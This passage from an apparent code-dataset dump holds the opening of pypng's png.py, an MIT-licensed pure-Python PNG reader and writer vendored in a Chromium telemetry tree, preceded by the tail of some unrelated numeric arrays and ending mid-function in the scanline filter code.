32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
vadimtk/chrome4sdp
tools/telemetry/third_party/png/png.py
161
157814
#!/usr/bin/env python # $URL$ # $Rev$ # png.py - PNG encoder/decoder in pure Python # # Copyright (C) 2006 Johann C. Rocholl <johann@browsershots.org> # Portions Copyright (C) 2009 David Jones <drj@pobox.com> # And probably portions Copyright (C) 2006 Nicko van Someren <nicko@nicko.org> # # Original concept by Johann C. Rocholl. # # LICENSE (The MIT License) # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # Changelog (recent first): # 2009-03-11 David: interlaced bit depth < 8 (writing). # 2009-03-10 David: interlaced bit depth < 8 (reading). # 2009-03-04 David: Flat and Boxed pixel formats. # 2009-02-26 David: Palette support (writing). # 2009-02-23 David: Bit-depths < 8; better PNM support. # 2006-06-17 Nicko: Reworked into a class, faster interlacing. # 2006-06-17 Johann: Very simple prototype PNG decoder. # 2006-06-17 Nicko: Test suite with various image generators. # 2006-06-17 Nicko: Alpha-channel, grey-scale, 16-bit/plane support. # 2006-06-15 Johann: Scanline iterator interface for large input files. # 2006-06-09 Johann: Very simple prototype PNG encoder. # Incorporated into Bangai-O Development Tools by drj on 2009-02-11 from # http://trac.browsershots.org/browser/trunk/pypng/lib/png.py?rev=2885 # Incorporated into pypng by drj on 2009-03-12 from # //depot/prj/bangaio/master/code/png.py#67 """ Pure Python PNG Reader/Writer This Python module implements support for PNG images (see PNG specification at http://www.w3.org/TR/2003/REC-PNG-20031110/ ). It reads and writes PNG files with all allowable bit depths (1/2/4/8/16/24/32/48/64 bits per pixel) and colour combinations: greyscale (1/2/4/8/16 bit); RGB, RGBA, LA (greyscale with alpha) with 8/16 bits per channel; colour mapped images (1/2/4/8 bit). Adam7 interlacing is supported for reading and writing. A number of optional chunks can be specified (when writing) and understood (when reading): ``tRNS``, ``bKGD``, ``gAMA``. For help, type ``import png; help(png)`` in your python interpreter. A good place to start is the :class:`Reader` and :class:`Writer` classes. Requires Python 2.3. Limited support is available for Python 2.2, but not everything works. Best with Python 2.4 and higher. Installation is trivial, but see the ``README.txt`` file (with the source distribution) for details. This file can also be used as a command-line utility to convert `Netpbm <http://netpbm.sourceforge.net/>`_ PNM files to PNG, and the reverse conversion from PNG to PNM. The interface is similar to that of the ``pnmtopng`` program from Netpbm. Type ``python png.py --help`` at the shell prompt for usage and a list of options. A note on spelling and terminology ---------------------------------- Generally British English spelling is used in the documentation. So that's "greyscale" and "colour". This not only matches the author's native language, it's also used by the PNG specification. The major colour models supported by PNG (and hence by PyPNG) are: greyscale, RGB, greyscale--alpha, RGB--alpha. These are sometimes referred to using the abbreviations: L, RGB, LA, RGBA. In this case each letter abbreviates a single channel: *L* is for Luminance or Luma or Lightness which is the channel used in greyscale images; *R*, *G*, *B* stand for Red, Green, Blue, the components of a colour image; *A* stands for Alpha, the opacity channel (used for transparency effects, but higher values are more opaque, so it makes sense to call it opacity). A note on formats ----------------- When getting pixel data out of this module (reading) and presenting data to this module (writing) there are a number of ways the data could be represented as a Python value. Generally this module uses one of three formats called "flat row flat pixel", "boxed row flat pixel", and "boxed row boxed pixel". Basically the concern is whether each pixel and each row comes in its own little tuple (box), or not. Consider an image that is 3 pixels wide by 2 pixels high, and each pixel has RGB components: Boxed row flat pixel:: list([R,G,B, R,G,B, R,G,B], [R,G,B, R,G,B, R,G,B]) Each row appears as its own list, but the pixels are flattened so that three values for one pixel simply follow the three values for the previous pixel. This is the most common format used, because it provides a good compromise between space and convenience. PyPNG regards itself as at liberty to replace any sequence type with any sufficiently compatible other sequence type; in practice each row is an array (from the array module), and the outer list is sometimes an iterator rather than an explicit list (so that streaming is possible). Flat row flat pixel:: [R,G,B, R,G,B, R,G,B, R,G,B, R,G,B, R,G,B] The entire image is one single giant sequence of colour values. Generally an array will be used (to save space), not a list. Boxed row boxed pixel:: list([ (R,G,B), (R,G,B), (R,G,B) ], [ (R,G,B), (R,G,B), (R,G,B) ]) Each row appears in its own list, but each pixel also appears in its own tuple. A serious memory burn in Python. In all cases the top row comes first, and for each row the pixels are ordered from left-to-right. Within a pixel the values appear in the order, R-G-B-A (or L-A for greyscale--alpha). There is a fourth format, mentioned because it is used internally, is close to what lies inside a PNG file itself, and has some support from the public API. This format is called packed. When packed, each row is a sequence of bytes (integers from 0 to 255), just as it is before PNG scanline filtering is applied. When the bit depth is 8 this is essentially the same as boxed row flat pixel; when the bit depth is less than 8, several pixels are packed into each byte; when the bit depth is 16 (the only value more than 8 that is supported by the PNG image format) each pixel value is decomposed into 2 bytes (and `packed` is a misnomer). This format is used by the :meth:`Writer.write_packed` method. It isn't usually a convenient format, but may be just right if the source data for the PNG image comes from something that uses a similar format (for example, 1-bit BMPs, or another PNG file). And now, my famous members -------------------------- """ # http://www.python.org/doc/2.2.3/whatsnew/node5.html from __future__ import generators __version__ = "$URL$ $Rev$" from array import array try: # See :pyver:old import itertools except: pass import math # http://www.python.org/doc/2.4.4/lib/module-operator.html import operator import struct import sys import zlib # http://www.python.org/doc/2.4.4/lib/module-warnings.html import warnings try: import pyximport pyximport.install() import cpngfilters as pngfilters except ImportError: pass __all__ = ['Image', 'Reader', 'Writer', 'write_chunks', 'from_array'] # The PNG signature. # http://www.w3.org/TR/PNG/#5PNG-file-signature _signature = struct.pack('8B', 137, 80, 78, 71, 13, 10, 26, 10) _adam7 = ((0, 0, 8, 8), (4, 0, 8, 8), (0, 4, 4, 8), (2, 0, 4, 4), (0, 2, 2, 4), (1, 0, 2, 2), (0, 1, 1, 2)) def group(s, n): # See # http://www.python.org/doc/2.6/library/functions.html#zip return zip(*[iter(s)]*n) def isarray(x): """Same as ``isinstance(x, array)`` except on Python 2.2, where it always returns ``False``. This helps PyPNG work on Python 2.2. """ try: return isinstance(x, array) except: return False try: # see :pyver:old array.tostring except: def tostring(row): l = len(row) return struct.pack('%dB' % l, *row) else: def tostring(row): """Convert row of bytes to string. Expects `row` to be an ``array``. """ return row.tostring() # Conditionally convert to bytes. Works on Python 2 and Python 3. try: bytes('', 'ascii') def strtobytes(x): return bytes(x, 'iso8859-1') def bytestostr(x): return str(x, 'iso8859-1') except: strtobytes = str bytestostr = str def interleave_planes(ipixels, apixels, ipsize, apsize): """ Interleave (colour) planes, e.g. RGB + A = RGBA. Return an array of pixels consisting of the `ipsize` elements of data from each pixel in `ipixels` followed by the `apsize` elements of data from each pixel in `apixels`. Conventionally `ipixels` and `apixels` are byte arrays so the sizes are bytes, but it actually works with any arrays of the same type. The returned array is the same type as the input arrays which should be the same type as each other. """ itotal = len(ipixels) atotal = len(apixels) newtotal = itotal + atotal newpsize = ipsize + apsize # Set up the output buffer # See http://www.python.org/doc/2.4.4/lib/module-array.html#l2h-1356 out = array(ipixels.typecode) # It's annoying that there is no cheap way to set the array size :-( out.extend(ipixels) out.extend(apixels) # Interleave in the pixel data for i in range(ipsize): out[i:newtotal:newpsize] = ipixels[i:itotal:ipsize] for i in range(apsize): out[i+ipsize:newtotal:newpsize] = apixels[i:atotal:apsize] return out def check_palette(palette): """Check a palette argument (to the :class:`Writer` class) for validity. Returns the palette as a list if okay; raises an exception otherwise. """ # None is the default and is allowed. if palette is None: return None p = list(palette) if not (0 < len(p) <= 256): raise ValueError("a palette must have between 1 and 256 entries") seen_triple = False for i,t in enumerate(p): if len(t) not in (3,4): raise ValueError( "palette entry %d: entries must be 3- or 4-tuples." % i) if len(t) == 3: seen_triple = True if seen_triple and len(t) == 4: raise ValueError( "palette entry %d: all 4-tuples must precede all 3-tuples" % i) for x in t: if int(x) != x or not(0 <= x <= 255): raise ValueError( "palette entry %d: values must be integer: 0 <= x <= 255" % i) return p class Error(Exception): prefix = 'Error' def __str__(self): return self.prefix + ': ' + ' '.join(self.args) class FormatError(Error): """Problem with input file format. In other words, PNG file does not conform to the specification in some way and is invalid. """ prefix = 'FormatError' class ChunkError(FormatError): prefix = 'ChunkError' class Writer: """ PNG encoder in pure Python. """ def __init__(self, width=None, height=None, size=None, greyscale=False, alpha=False, bitdepth=8, palette=None, transparent=None, background=None, gamma=None, compression=None, interlace=False, bytes_per_sample=None, # deprecated planes=None, colormap=None, maxval=None, chunk_limit=2**20): """ Create a PNG encoder object. Arguments: width, height Image size in pixels, as two separate arguments. size Image size (w,h) in pixels, as single argument. greyscale Input data is greyscale, not RGB. alpha Input data has alpha channel (RGBA or LA). bitdepth Bit depth: from 1 to 16. palette Create a palette for a colour mapped image (colour type 3). transparent Specify a transparent colour (create a ``tRNS`` chunk). background Specify a default background colour (create a ``bKGD`` chunk). gamma Specify a gamma value (create a ``gAMA`` chunk). compression zlib compression level: 0 (none) to 9 (more compressed); default: -1 or None. interlace Create an interlaced image. chunk_limit Write multiple ``IDAT`` chunks to save memory. The image size (in pixels) can be specified either by using the `width` and `height` arguments, or with the single `size` argument. If `size` is used it should be a pair (*width*, *height*). `greyscale` and `alpha` are booleans that specify whether an image is greyscale (or colour), and whether it has an alpha channel (or not). `bitdepth` specifies the bit depth of the source pixel values. Each source pixel value must be an integer between 0 and ``2**bitdepth-1``. For example, 8-bit images have values between 0 and 255. PNG only stores images with bit depths of 1,2,4,8, or 16. When `bitdepth` is not one of these values, the next highest valid bit depth is selected, and an ``sBIT`` (significant bits) chunk is generated that specifies the original precision of the source image. In this case the supplied pixel values will be rescaled to fit the range of the selected bit depth. The details of which bit depth / colour model combinations the PNG file format supports directly, are somewhat arcane (refer to the PNG specification for full details). Briefly: "small" bit depths (1,2,4) are only allowed with greyscale and colour mapped images; colour mapped images cannot have bit depth 16. For colour mapped images (in other words, when the `palette` argument is specified) the `bitdepth` argument must match one of the valid PNG bit depths: 1, 2, 4, or 8. (It is valid to have a PNG image with a palette and an ``sBIT`` chunk, but the meaning is slightly different; it would be awkward to press the `bitdepth` argument into service for this.) The `palette` option, when specified, causes a colour mapped image to be created: the PNG colour type is set to 3; greyscale must not be set; alpha must not be set; transparent must not be set; the bit depth must be 1,2,4, or 8. When a colour mapped image is created, the pixel values are palette indexes and the `bitdepth` argument specifies the size of these indexes (not the size of the colour values in the palette). The palette argument value should be a sequence of 3- or 4-tuples. 3-tuples specify RGB palette entries; 4-tuples specify RGBA palette entries. If both 4-tuples and 3-tuples appear in the sequence then all the 4-tuples must come before all the 3-tuples. A ``PLTE`` chunk is created; if there are 4-tuples then a ``tRNS`` chunk is created as well. The ``PLTE`` chunk will contain all the RGB triples in the same sequence; the ``tRNS`` chunk will contain the alpha channel for all the 4-tuples, in the same sequence. Palette entries are always 8-bit. If specified, the `transparent` and `background` parameters must be a tuple with three integer values for red, green, blue, or a simple integer (or singleton tuple) for a greyscale image. If specified, the `gamma` parameter must be a positive number (generally, a float). A ``gAMA`` chunk will be created. Note that this will not change the values of the pixels as they appear in the PNG file, they are assumed to have already been converted appropriately for the gamma specified. The `compression` argument specifies the compression level to be used by the ``zlib`` module. Values from 1 to 9 specify compression, with 9 being "more compressed" (usually smaller and slower, but it doesn't always work out that way). 0 means no compression. -1 and ``None`` both mean that the default level of compession will be picked by the ``zlib`` module (which is generally acceptable). If `interlace` is true then an interlaced image is created (using PNG's so far only interace method, *Adam7*). This does not affect how the pixels should be presented to the encoder, rather it changes how they are arranged into the PNG file. On slow connexions interlaced images can be partially decoded by the browser to give a rough view of the image that is successively refined as more image data appears. .. note :: Enabling the `interlace` option requires the entire image to be processed in working memory. `chunk_limit` is used to limit the amount of memory used whilst compressing the image. In order to avoid using large amounts of memory, multiple ``IDAT`` chunks may be created. """ # At the moment the `planes` argument is ignored; # its purpose is to act as a dummy so that # ``Writer(x, y, **info)`` works, where `info` is a dictionary # returned by Reader.read and friends. # Ditto for `colormap`. # A couple of helper functions come first. Best skipped if you # are reading through. def isinteger(x): try: return int(x) == x except: return False def check_color(c, which): """Checks that a colour argument for transparent or background options is the right form. Also "corrects" bare integers to 1-tuples. """ if c is None: return c if greyscale: try: l = len(c) except TypeError: c = (c,) if len(c) != 1: raise ValueError("%s for greyscale must be 1-tuple" % which) if not isinteger(c[0]): raise ValueError( "%s colour for greyscale must be integer" % which) else: if not (len(c) == 3 and isinteger(c[0]) and isinteger(c[1]) and isinteger(c[2])): raise ValueError( "%s colour must be a triple of integers" % which) return c if size: if len(size) != 2: raise ValueError( "size argument should be a pair (width, height)") if width is not None and width != size[0]: raise ValueError( "size[0] (%r) and width (%r) should match when both are used." % (size[0], width)) if height is not None and height != size[1]: raise ValueError( "size[1] (%r) and height (%r) should match when both are used." % (size[1], height)) width,height = size del size if width <= 0 or height <= 0: raise ValueError("width and height must be greater than zero") if not isinteger(width) or not isinteger(height): raise ValueError("width and height must be integers") # http://www.w3.org/TR/PNG/#7Integers-and-byte-order if width > 2**32-1 or height > 2**32-1: raise ValueError("width and height cannot exceed 2**32-1") if alpha and transparent is not None: raise ValueError( "transparent colour not allowed with alpha channel") if bytes_per_sample is not None: warnings.warn('please use bitdepth instead of bytes_per_sample', DeprecationWarning) if bytes_per_sample not in (0.125, 0.25, 0.5, 1, 2): raise ValueError( "bytes per sample must be .125, .25, .5, 1, or 2") bitdepth = int(8*bytes_per_sample) del bytes_per_sample if not isinteger(bitdepth) or bitdepth < 1 or 16 < bitdepth: raise ValueError("bitdepth (%r) must be a postive integer <= 16" % bitdepth) self.rescale = None if palette: if bitdepth not in (1,2,4,8): raise ValueError("with palette, bitdepth must be 1, 2, 4, or 8") if transparent is not None: raise ValueError("transparent and palette not compatible") if alpha: raise ValueError("alpha and palette not compatible") if greyscale: raise ValueError("greyscale and palette not compatible") else: # No palette, check for sBIT chunk generation. if alpha or not greyscale: if bitdepth not in (8,16): targetbitdepth = (8,16)[bitdepth > 8] self.rescale = (bitdepth, targetbitdepth) bitdepth = targetbitdepth del targetbitdepth else: assert greyscale assert not alpha if bitdepth not in (1,2,4,8,16): if bitdepth > 8: targetbitdepth = 16 elif bitdepth == 3: targetbitdepth = 4 else: assert bitdepth in (5,6,7) targetbitdepth = 8 self.rescale = (bitdepth, targetbitdepth) bitdepth = targetbitdepth del targetbitdepth if bitdepth < 8 and (alpha or not greyscale and not palette): raise ValueError( "bitdepth < 8 only permitted with greyscale or palette") if bitdepth > 8 and palette: raise ValueError( "bit depth must be 8 or less for images with palette") transparent = check_color(transparent, 'transparent') background = check_color(background, 'background') # It's important that the true boolean values (greyscale, alpha, # colormap, interlace) are converted to bool because Iverson's # convention is relied upon later on. self.width = width self.height = height self.transparent = transparent self.background = background self.gamma = gamma self.greyscale = bool(greyscale) self.alpha = bool(alpha) self.colormap = bool(palette) self.bitdepth = int(bitdepth) self.compression = compression self.chunk_limit = chunk_limit self.interlace = bool(interlace) self.palette = check_palette(palette) self.color_type = 4*self.alpha + 2*(not greyscale) + 1*self.colormap assert self.color_type in (0,2,3,4,6) self.color_planes = (3,1)[self.greyscale or self.colormap] self.planes = self.color_planes + self.alpha # :todo: fix for bitdepth < 8 self.psize = (self.bitdepth/8) * self.planes def make_palette(self): """Create the byte sequences for a ``PLTE`` and if necessary a ``tRNS`` chunk. Returned as a pair (*p*, *t*). *t* will be ``None`` if no ``tRNS`` chunk is necessary. """ p = array('B') t = array('B') for x in self.palette: p.extend(x[0:3]) if len(x) > 3: t.append(x[3]) p = tostring(p) t = tostring(t) if t: return p,t return p,None def write(self, outfile, rows): """Write a PNG image to the output file. `rows` should be an iterable that yields each row in boxed row flat pixel format. The rows should be the rows of the original image, so there should be ``self.height`` rows of ``self.width * self.planes`` values. If `interlace` is specified (when creating the instance), then an interlaced PNG file will be written. Supply the rows in the normal image order; the interlacing is carried out internally. .. note :: Interlacing will require the entire image to be in working memory. """ if self.interlace: fmt = 'BH'[self.bitdepth > 8] a = array(fmt, itertools.chain(*rows)) return self.write_array(outfile, a) else: nrows = self.write_passes(outfile, rows) if nrows != self.height: raise ValueError( "rows supplied (%d) does not match height (%d)" % (nrows, self.height)) def write_passes(self, outfile, rows, packed=False): """ Write a PNG image to the output file. Most users are expected to find the :meth:`write` or :meth:`write_array` method more convenient. The rows should be given to this method in the order that they appear in the output file. For straightlaced images, this is the usual top to bottom ordering, but for interlaced images the rows should have already been interlaced before passing them to this function. `rows` should be an iterable that yields each row. When `packed` is ``False`` the rows should be in boxed row flat pixel format; when `packed` is ``True`` each row should be a packed sequence of bytes. """ # http://www.w3.org/TR/PNG/#5PNG-file-signature outfile.write(_signature) # http://www.w3.org/TR/PNG/#11IHDR write_chunk(outfile, 'IHDR', struct.pack("!2I5B", self.width, self.height, self.bitdepth, self.color_type, 0, 0, self.interlace)) # See :chunk:order # http://www.w3.org/TR/PNG/#11gAMA if self.gamma is not None: write_chunk(outfile, 'gAMA', struct.pack("!L", int(round(self.gamma*1e5)))) # See :chunk:order # http://www.w3.org/TR/PNG/#11sBIT if self.rescale: write_chunk(outfile, 'sBIT', struct.pack('%dB' % self.planes, *[self.rescale[0]]*self.planes)) # :chunk:order: Without a palette (PLTE chunk), ordering is # relatively relaxed. With one, gAMA chunk must precede PLTE # chunk which must precede tRNS and bKGD. # See http://www.w3.org/TR/PNG/#5ChunkOrdering if self.palette: p,t = self.make_palette() write_chunk(outfile, 'PLTE', p) if t: # tRNS chunk is optional. Only needed if palette entries # have alpha. write_chunk(outfile, 'tRNS', t) # http://www.w3.org/TR/PNG/#11tRNS if self.transparent is not None: if self.greyscale: write_chunk(outfile, 'tRNS', struct.pack("!1H", *self.transparent)) else: write_chunk(outfile, 'tRNS', struct.pack("!3H", *self.transparent)) # http://www.w3.org/TR/PNG/#11bKGD if self.background is not None: if self.greyscale: write_chunk(outfile, 'bKGD', struct.pack("!1H", *self.background)) else: write_chunk(outfile, 'bKGD', struct.pack("!3H", *self.background)) # http://www.w3.org/TR/PNG/#11IDAT if self.compression is not None: compressor = zlib.compressobj(self.compression) else: compressor = zlib.compressobj() # Choose an extend function based on the bitdepth. The extend # function packs/decomposes the pixel values into bytes and # stuffs them onto the data array. data = array('B') if self.bitdepth == 8 or packed: extend = data.extend elif self.bitdepth == 16: # Decompose into bytes def extend(sl): fmt = '!%dH' % len(sl) data.extend(array('B', struct.pack(fmt, *sl))) else: # Pack into bytes assert self.bitdepth < 8 # samples per byte spb = int(8/self.bitdepth) def extend(sl): a = array('B', sl) # Adding padding bytes so we can group into a whole # number of spb-tuples. l = float(len(a)) extra = math.ceil(l / float(spb))*spb - l a.extend([0]*int(extra)) # Pack into bytes l = group(a, spb) l = map(lambda e: reduce(lambda x,y: (x << self.bitdepth) + y, e), l) data.extend(l) if self.rescale: oldextend = extend factor = \ float(2**self.rescale[1]-1) / float(2**self.rescale[0]-1) def extend(sl): oldextend(map(lambda x: int(round(factor*x)), sl)) # Build the first row, testing mostly to see if we need to # changed the extend function to cope with NumPy integer types # (they cause our ordinary definition of extend to fail, so we # wrap it). See # http://code.google.com/p/pypng/issues/detail?id=44 enumrows = enumerate(rows) del rows # First row's filter type. data.append(0) # :todo: Certain exceptions in the call to ``.next()`` or the # following try would indicate no row data supplied. # Should catch. i,row = enumrows.next() try: # If this fails... extend(row) except: # ... try a version that converts the values to int first. # Not only does this work for the (slightly broken) NumPy # types, there are probably lots of other, unknown, "nearly" # int types it works for. def wrapmapint(f): return lambda sl: f(map(int, sl)) extend = wrapmapint(extend) del wrapmapint extend(row) for i,row in enumrows: # Add "None" filter type. Currently, it's essential that # this filter type be used for every scanline as we do not # mark the first row of a reduced pass image; that means we # could accidentally compute the wrong filtered scanline if # we used "up", "average", or "paeth" on such a line. data.append(0) extend(row) if len(data) > self.chunk_limit: compressed = compressor.compress(tostring(data)) if len(compressed): # print >> sys.stderr, len(data), len(compressed) write_chunk(outfile, 'IDAT', compressed) # Because of our very witty definition of ``extend``, # above, we must re-use the same ``data`` object. Hence # we use ``del`` to empty this one, rather than create a # fresh one (which would be my natural FP instinct). del data[:] if len(data): compressed = compressor.compress(tostring(data)) else: compressed = '' flushed = compressor.flush() if len(compressed) or len(flushed): # print >> sys.stderr, len(data), len(compressed), len(flushed) write_chunk(outfile, 'IDAT', compressed + flushed) # http://www.w3.org/TR/PNG/#11IEND write_chunk(outfile, 'IEND') return i+1 def write_array(self, outfile, pixels): """ Write an array in flat row flat pixel format as a PNG file on the output file. See also :meth:`write` method. """ if self.interlace: self.write_passes(outfile, self.array_scanlines_interlace(pixels)) else: self.write_passes(outfile, self.array_scanlines(pixels)) def write_packed(self, outfile, rows): """ Write PNG file to `outfile`. The pixel data comes from `rows` which should be in boxed row packed format. Each row should be a sequence of packed bytes. Technically, this method does work for interlaced images but it is best avoided. For interlaced images, the rows should be presented in the order that they appear in the file. This method should not be used when the source image bit depth is not one naturally supported by PNG; the bit depth should be 1, 2, 4, 8, or 16. """ if self.rescale: raise Error("write_packed method not suitable for bit depth %d" % self.rescale[0]) return self.write_passes(outfile, rows, packed=True) def convert_pnm(self, infile, outfile): """ Convert a PNM file containing raw pixel data into a PNG file with the parameters set in the writer object. Works for (binary) PGM, PPM, and PAM formats. """ if self.interlace: pixels = array('B') pixels.fromfile(infile, (self.bitdepth/8) * self.color_planes * self.width * self.height) self.write_passes(outfile, self.array_scanlines_interlace(pixels)) else: self.write_passes(outfile, self.file_scanlines(infile)) def convert_ppm_and_pgm(self, ppmfile, pgmfile, outfile): """ Convert a PPM and PGM file containing raw pixel data into a PNG outfile with the parameters set in the writer object. """ pixels = array('B') pixels.fromfile(ppmfile, (self.bitdepth/8) * self.color_planes * self.width * self.height) apixels = array('B') apixels.fromfile(pgmfile, (self.bitdepth/8) * self.width * self.height) pixels = interleave_planes(pixels, apixels, (self.bitdepth/8) * self.color_planes, (self.bitdepth/8)) if self.interlace: self.write_passes(outfile, self.array_scanlines_interlace(pixels)) else: self.write_passes(outfile, self.array_scanlines(pixels)) def file_scanlines(self, infile): """ Generates boxed rows in flat pixel format, from the input file `infile`. It assumes that the input file is in a "Netpbm-like" binary format, and is positioned at the beginning of the first pixel. The number of pixels to read is taken from the image dimensions (`width`, `height`, `planes`) and the number of bytes per value is implied by the image `bitdepth`. """ # Values per row vpr = self.width * self.planes row_bytes = vpr if self.bitdepth > 8: assert self.bitdepth == 16 row_bytes *= 2 fmt = '>%dH' % vpr def line(): return array('H', struct.unpack(fmt, infile.read(row_bytes))) else: def line(): scanline = array('B', infile.read(row_bytes)) return scanline for y in range(self.height): yield line() def array_scanlines(self, pixels): """ Generates boxed rows (flat pixels) from flat rows (flat pixels) in an array. """ # Values per row vpr = self.width * self.planes stop = 0 for y in range(self.height): start = stop stop = start + vpr yield pixels[start:stop] def array_scanlines_interlace(self, pixels): """ Generator for interlaced scanlines from an array. `pixels` is the full source image in flat row flat pixel format. The generator yields each scanline of the reduced passes in turn, in boxed row flat pixel format. """ # http://www.w3.org/TR/PNG/#8InterlaceMethods # Array type. fmt = 'BH'[self.bitdepth > 8] # Value per row vpr = self.width * self.planes for xstart, ystart, xstep, ystep in _adam7: if xstart >= self.width: continue # Pixels per row (of reduced image) ppr = int(math.ceil((self.width-xstart)/float(xstep))) # number of values in reduced image row. row_len = ppr*self.planes for y in range(ystart, self.height, ystep): if xstep == 1: offset = y * vpr yield pixels[offset:offset+vpr] else: row = array(fmt) # There's no easier way to set the length of an array row.extend(pixels[0:row_len]) offset = y * vpr + xstart * self.planes end_offset = (y+1) * vpr skip = self.planes * xstep for i in range(self.planes): row[i::self.planes] = \ pixels[offset+i:end_offset:skip] yield row def write_chunk(outfile, tag, data=strtobytes('')): """ Write a PNG chunk to the output file, including length and checksum. """ # http://www.w3.org/TR/PNG/#5Chunk-layout outfile.write(struct.pack("!I", len(data))) tag = strtobytes(tag) outfile.write(tag) outfile.write(data) checksum = zlib.crc32(tag) checksum = zlib.crc32(data, checksum) checksum &= 2**32-1 outfile.write(struct.pack("!I", checksum)) def write_chunks(out, chunks): """Create a PNG file by writing out the chunks.""" out.write(_signature) for chunk in chunks: write_chunk(out, *chunk) def filter_scanline(type, line, fo, prev=None): """Apply a scanline filter to a scanline. `type` specifies the filter type (0 to 4); `line` specifies the current (unfiltered) scanline as a sequence of bytes; `prev` specifies the previous (unfiltered) scanline as a sequence of bytes. `fo` specifies the filter offset; normally this is size of a pixel in bytes (the number of bytes per sample times the number of channels), but when this is < 1 (for bit depths < 8) then the filter offset is 1. """ assert 0 <= type < 5 # The output array. Which, pathetically, we extend one-byte at a # time (fortunately this is linear). out = array('B', [type]) def sub(): ai = -fo for x in line: if ai >= 0: x = (x - line[ai]) & 0xff out.append(x) ai += 1 def up(): for i,x in enumerate(line): x = (x - prev[i]) & 0xff out.append(x) def average(): ai = -fo for i,x in enumerate(line): if ai >= 0: x = (x - ((line[ai] + prev[i]) >> 1)) & 0xff else: x = (x - (prev[i] >> 1)) & 0xff out.append(x) ai += 1 def paeth(): # http://www.w3.org/TR/PNG/#9Filter-type-4-Paeth ai = -fo # also used for ci for i,x in enumerate(line): a = 0 b = prev[i] c = 0 if ai >= 0: a = line[ai] c = prev[ai] p = a + b - c pa = abs(p - a) pb = abs(p - b) pc = abs(p - c) if pa <= pb and pa <= pc: Pr = a elif pb <= pc: Pr = b else: Pr = c x = (x - Pr) & 0xff out.append(x) ai += 1 if not prev: # We're on the first line. Some of the filters can be reduced # to simpler cases which makes handling 